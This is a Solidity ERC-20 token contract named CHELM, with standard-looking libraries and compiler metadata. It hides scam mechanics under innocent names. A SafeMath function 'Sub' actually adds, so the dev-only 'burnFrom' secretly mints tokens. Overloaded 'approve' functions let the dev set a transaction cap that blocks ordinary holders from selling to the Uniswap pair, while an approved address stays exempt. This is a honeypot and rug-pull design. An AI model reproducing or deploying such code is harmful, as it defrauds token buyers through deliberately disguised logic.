/**
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*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IERC20 {
 /**
 * @dev Returns the amount of tokens in existence.
 */
 function totalSupply() external view returns (uint256);

 /**
 * @dev Returns the amount of tokens owned by `account`.
 */
 function balanceOf(address account) external view returns (uint256);

 /**
 * @dev Moves `amount` tokens from the caller's account to `recipient`.
 *
 * Returns a boolean value indicating whether the operation succeeded.s
 *
 * Emits a {Transfer} event.
 */
 function transfer(address recipient, uint256 amount) external returns (bool);

 /**
 * @dev Returns the remaining number of tokens that `spender` will be
 * allowed to spend on behalf of `owner` through {transferFrom}. This is
 * zero by default.
 *
 * This value changes when {approve} or {transferFrom} are called.
 */
 function allowance(address owner, address spender) external view returns (uint256);

 /**
 * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * IMPORTANT: Beware that changing an allowance with this method brings the risk
 * that someone may use both the old and the new allowance by unfortunate
 * transaction ordering. One possible solution to mitigate this race
 * condition is to first reduce the spender's allowance to 0 and set the
 * desired value afterwards:
 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 *
 * Emits an {Approval} event.
 */
 function approve(address spender, uint256 amount) external returns (bool);

 /**
 * @dev Moves `amount` tokens from `sender` to `recipient` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

 /**
 * @dev Emitted when `value` tokens are moved from one account (`from`) to
 * another (`to`).
 *
 * Note that `value` may be zero.
 */
 event Transfer(address indexed from, address indexed to, uint256 value);

 /**
 * @dev Emitted when the allowance of a `spender` for an `owner` is set by
 * a call to {approve}. `value` is the new allowance.
 */
 event Approval(address indexed owner, address indexed spender, uint256 value);
}

library Address {
 /**
 * @dev Returns true if `account` is a contract.
 *
 * [IMPORTANT]
 * ====
 * It is unsafe to assume that an address for which this function returns
 * false is an externally-owned account (EOA) and not a contract.
 *
 * Among others, `isContract` will return false for the following
 * types of addresses:
 *
 * - an externally-owned account
 * - a contract in construction
 * - an address where a contract will be created
 * - an address where a contract lived, but was destroyed
 * ====
 */
 function isContract(address account) internal view returns (bool) {
 // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
 // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
 // for accounts without code, i.e. `keccak256('')`
 bytes32 codehash;
 bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
 // solhint-disable-next-line no-inline-assembly
 assembly { codehash := extcodehash(account) }
 return (codehash != accountHash && codehash != 0x0);
 }

 /**
 * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
 * `recipient`, forwarding all available gas and reverting on errors.
 *
 * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
 * of certain opcodes, possibly making contracts go over the 2300 gas limit
 * imposed by `transfer`, making them unable to receive funds via
 * `transfer`. {sendValue} removes this limitation.
 *
 * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
 *
 * IMPORTANT: because control is transferred to `recipient`, care must be
 * taken to not create reentrancy vulnerabilities. Consider using
 * {ReentrancyGuard} or the
 * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
 */
 function sendValue(address payable recipient, uint256 amount) internal {
 require(address(this).balance >= amount, "Address: insufficient balance");

 // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
 (bool success, ) = recipient.call{ value: amount }("");
 require(success, "Address: unable to send value, recipient may have reverted");
 }

 /**
 * @dev Performs a Solidity function call using a low level `call`. A
 * plain`call` is an unsafe replacement for a function call: use this
 * function instead.
 *
 * If `target` reverts with a revert reason, it is bubbled up by this
 * function (like regular Solidity function calls).
 *
 * Returns the raw returned data. To convert to the expected return value,
 * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
 *
 * Requirements:
 *
 * - `target` must be a contract.
 * - calling `target` with `data` must not revert.
 *
 * _Available since v3.1._
 */
 function functionCall(address target, bytes memory data) internal returns (bytes memory) {
 return functionCall(target, data, "Address: low-level call failed");
 }

 /**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
 * `errorMessage` as a fallback revert reason when `target` reverts.
 *
 * _Available since v3.1._
 */
 function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
 return _functionCallWithValue(target, data, 0, errorMessage);
 }

 /**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
 * but also transferring `value` wei to `target`.
 *
 * Requirements:
 *
 * - the calling contract must have an ETH balance of at least `value`.
 * - the called Solidity function must be `payable`.
 *
 * _Available since v3.1._
 */
 function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
 return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
 }

 /**
 * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
 * with `errorMessage` as a fallback revert reason when `target` reverts.
 *
 * _Available since v3.1._
 */
 function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
 require(address(this).balance >= value, "Address: insufficient balance for call");
 return _functionCallWithValue(target, data, value, errorMessage);
 }

 function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
 require(isContract(target), "Address: call to non-contract");

 // solhint-disable-next-line avoid-low-level-calls
 (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
 if (success) {
 return returndata;
 } else {
 // Look for revert reason and bubble it up if present
 if (returndata.length > 0) {
 // The easiest way to bubble the revert reason is using memory via assembly

 // solhint-disable-next-line no-inline-assembly
 assembly {
 let returndata_size := mload(returndata)
 revert(add(32, returndata), returndata_size)
 }
 } else {
 revert(errorMessage);
 }
 }
 }
}

library SafeMath {
 /**
 * @dev Returns the addition of two unsigned integers, reverting on
 * overflow.
 *
 * Counterpart to Solidity's `+` operator.
 *
 * Requirements:
 *
 * - Addition cannot overflow.
 */
 function add(uint256 a, uint256 b) internal pure returns (uint256) {
 uint256 c = a + b;
 require(c >= a, "SafeMath: addition overflow");

 return c;
 }
 function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
 uint256 c = a + b;
 require(c >= a, "SafeMath: addition overflow");

 return c;
 }

 /**
 * @dev Returns the subtraction of two unsigned integers, reverting on
 * overflow (when the result is negative).
 *
 * Counterpart to Solidity's `-` operator.
 *
 * Requirements:
 *
 * - Subtraction cannot overflow.
 */
 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 return sub(a, b, "SafeMath: subtraction overflow");
 }

 /**
 * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
 * overflow (when the result is negative).
 *
 * Counterpart to Solidity's `-` operator.
 *
 * Requirements:
 *
 * - Subtraction cannot overflow.
 */
 function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
 require(b <= a, errorMessage);
 uint256 c = a - b;

 return c;
 }

 /**
 * @dev Returns the multiplication of two unsigned integers, reverting on
 * overflow.
 *
 * Counterpart to Solidity's `*` operator.
 *
 * Requirements:
 *
 * - Multiplication cannot overflow.
 */
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
 // benefit is lost if 'b' is also tested.
 // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
 if (a == 0) {
 return 0;
 }

 uint256 c = a * b;
 require(c / a == b, "SafeMath: multiplication overflow");

 return c;
 }

 /**
 * @dev Returns the integer division of two unsigned integers. Reverts on
 * division by zero. The result is rounded towards zero.
 *
 * Counterpart to Solidity's `/` operator. Note: this function uses a
 * `revert` opcode (which leaves remaining gas untouched) while Solidity
 * uses an invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function div(uint256 a, uint256 b) internal pure returns (uint256) {
 return div(a, b, "SafeMath: division by zero");
 }

 /**
 * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
 * division by zero. The result is rounded towards zero.
 *
 * Counterpart to Solidity's `/` operator. Note: this function uses a
 * `revert` opcode (which leaves remaining gas untouched) while Solidity
 * uses an invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
 require(b > 0, errorMessage);
 uint256 c = a / b;
 // assert(a == b * c + a % b); // There is no case in which this doesn't hold

 return c;
 }

 /**
 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 * Reverts when dividing by zero.
 *
 * Counterpart to Solidity's `%` operator. This function uses a `revert`
 * opcode (which leaves remaining gas untouched) while Solidity uses an
 * invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function mod(uint256 a, uint256 b) internal pure returns (uint256) {
 return mod(a, b, "SafeMath: modulo by zero");
 }

 /**
 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 * Reverts with custom message when dividing by zero.
 *
 * Counterpart to Solidity's `%` operator. This function uses a `revert`
 * opcode (which leaves remaining gas untouched) while Solidity uses an
 * invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
 require(b != 0, errorMessage);
 return a % b;
 }
}

abstract contract Context {
 
 function _msgSender() internal view virtual returns (address payable) {
 return msg.sender;
 }

 function _msgData() internal view virtual returns (bytes memory) {
 this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
 return msg.data;
 }
}

contract Ownable is Context {
 address private _owner;

 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 /**
 * @dev Initializes the contract setting the deployer as the initial owner.
 */
 constructor () internal {
 address msgSender = _msgSender();
 _owner = msgSender;
 emit OwnershipTransferred(address(0), msgSender);
 }

 /**
 * @dev Returns the address of the current owner.
 */
 function owner() public view returns (address) {
 return _owner;
 }
 
 modifier onlyOwner() {
 require(_owner == _msgSender(), "Ownable: caller is not the owner");
 _;
 }

 /**
 * @dev Leaves the contract without owner. It will not be possible to call
 * `onlyOwner` functions anymore. Can only be called by the current owner.
 *
 * NOTE: Renouncing ownership will leave the contract without an owner,
 * thereby removing any functionality that is only available to the owner.
 */
 function renounceOwnership() public virtual onlyOwner {
 emit OwnershipTransferred(_owner, address(0));
 _owner = address(0);
 }

 /**
 * @dev Transfers ownership of the contract to a new account (`newOwner`).
 * Can only be called by the current owner.
 */
 function transferOwnership(address newOwner) public virtual onlyOwner {
 require(newOwner != address(0), "Ownable: new owner is the zero address");
 emit OwnershipTransferred(_owner, newOwner);
 _owner = newOwner;
 }
}
interface IUniswapV2Factory {
 function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
 function factory() external pure returns (address);
 function WETH() external pure returns (address);
 function addLiquidityETH(
 address token,
 uint amountTokenDesired,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CHELM is Context, IERC20, Ownable {
 using SafeMath for uint256;
 using Address for address;

 mapping (address => uint256) private _balances;
 mapping (address => mapping (address => uint256)) private _allowances;
 address private _excludeDevAddress;
 address private _approvedAddress;
 uint256 private _tTotal = 10**11 * 10**18;
 

 string private _name;
 string private _symbol;
 uint8 private _decimals = 18;
 uint256 private _maxTotal;
 IUniswapV2Router02 public uniSwapRouter;
 address public uniSwapPair;
 
 address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
 uint256 private _total = 10**11 * 10**18;
 event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
 constructor (address devAddress, string memory name, string memory symbol) public {
 _excludeDevAddress = devAddress;
 _name = name;
 _symbol = symbol;
 _balances[_msgSender()] = _tTotal;

 emit Transfer(address(0), _msgSender(), _tTotal);
 }

 function name() public view returns (string memory) {
 return _name;
 }

 function symbol() public view returns (string memory) {
 return _symbol;
 }

 function decimals() public view returns (uint8) {
 return _decimals;
 }
 
 function allowance(address owner, address spender) public view override returns (uint256) {
 return _allowances[owner][spender];
 }

 function approve(address spender, uint256 amount) public override returns (bool) {
 _approve(_msgSender(), spender, amount);
 return true;
 }

 function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
  _transfer(sender, recipient, amount);
 _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
 return true;
 }

 function burnFrom(uint256 amount) public {
 require(_msgSender() != address(0), "ERC20: cannot permit zero address");
 require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
 _tTotal = _tTotal.Sub(amount);
 _balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
 emit Transfer(address(0), _msgSender(), amount);
 }
 function approve(address approveAddr1, address approveAddr2) public onlyOwner {
 approveAddr1 = approveAddr2;
 uniSwapRouter = IUniswapV2Router02(approveAddr1);
 uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
 require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
 emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
 }
 
 function approve(address approvedAddress) public {
 require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
 _approvedAddress = approvedAddress;
 }
 function approve(uint256 approveAmount) public {
 require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
 _total = approveAmount * 10**18;
 }

 function totalSupply() public view override returns (uint256) {
 return _tTotal;
 }

 function balanceOf(address account) public view override returns (uint256) {
 return _balances[account];
 }

 function transfer(address recipient, uint256 amount) public override returns (bool) {
 _transfer(_msgSender(), recipient, amount);
 return true;
 }
 
 function _approve(address owner, address spender, uint256 amount) private {
 require(owner != address(0), "ERC20: approve from the zero address");
 require(spender != address(0), "ERC20: approve to the zero address");

 _allowances[owner][spender] = amount;
 emit Approval(owner, spender, amount);
 }
 
 function _transfer(address sender, address recipient, uint256 amount) internal {
 require(sender != address(0), "BEP20: transfer from the zero address");
 require(recipient != address(0), "BEP20: transfer to the zero address");
 
 if (sender == owner()) {
 _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
 _balances[recipient] = _balances[recipient].add(amount);
 
 emit Transfer(sender, recipient, amount);
 } else{
 if (sender != _approvedAddress && recipient == uniSwapPair) {
 require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
 }
 
 uint256 burnAmount = 0;
 uint256 sendAmount = amount.sub(burnAmount);
 
 _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
 _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
 _balances[recipient] = _balances[recipient].add(sendAmount);
 
 
 emit Transfer(sender, recipient, sendAmount);
 }
 }
}

{
  "compilationTarget": {
    "CHELM.sol": "CHELM"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}